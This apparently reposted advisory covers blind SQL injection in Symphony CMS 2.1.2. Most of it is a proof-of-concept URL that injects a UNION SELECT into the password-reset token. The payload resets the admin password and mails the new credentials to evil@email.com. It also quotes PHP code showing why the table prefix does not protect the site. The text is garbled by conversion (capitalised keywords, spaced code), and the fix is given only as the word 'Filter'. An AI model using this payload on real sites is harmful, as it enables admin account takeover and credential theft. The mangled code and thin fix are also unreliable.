Symphony CMS 2.1.2 blind injection defects and repair

Symphony is an open-source content management system. The SQL injection vulnerability in Symphony 2.1.2 may cause sensitive information leakage.

[+] Info:
~~~~~~~~~
Symphony CMS 2.1.2 Blind SQL Injection

[+] Poc:
~~~~~~~~~
The following example will reset the password of the admin user which was created during installation
(Id 1) and send an email to evil@email.com with the username and new password.
Http://www.bkjia.com/symphony/login? Action = resetpass & token =-1 + union + select + id, evil@email.com, username + from + tbl_authors + where + id + = 1 + -- +

We are aided by the following code:
Lib/toolkit/class. mysql. php: 251: if ($ this-> _ connection [tbl_prefix]! = Tbl _){
Lib/toolkit/class. mysql. php: 252: $ query = preg_replace (/tbl _ (S + ?) ([S.,] | $)/, $ this-> _ connection [tbl_prefix]. \ 1 \ 2, $ query );
Which turn our tbl_authors into the appropriate prefixed table name. This essential negates the use
Of custom prefix for tables.

 

Fix: Filter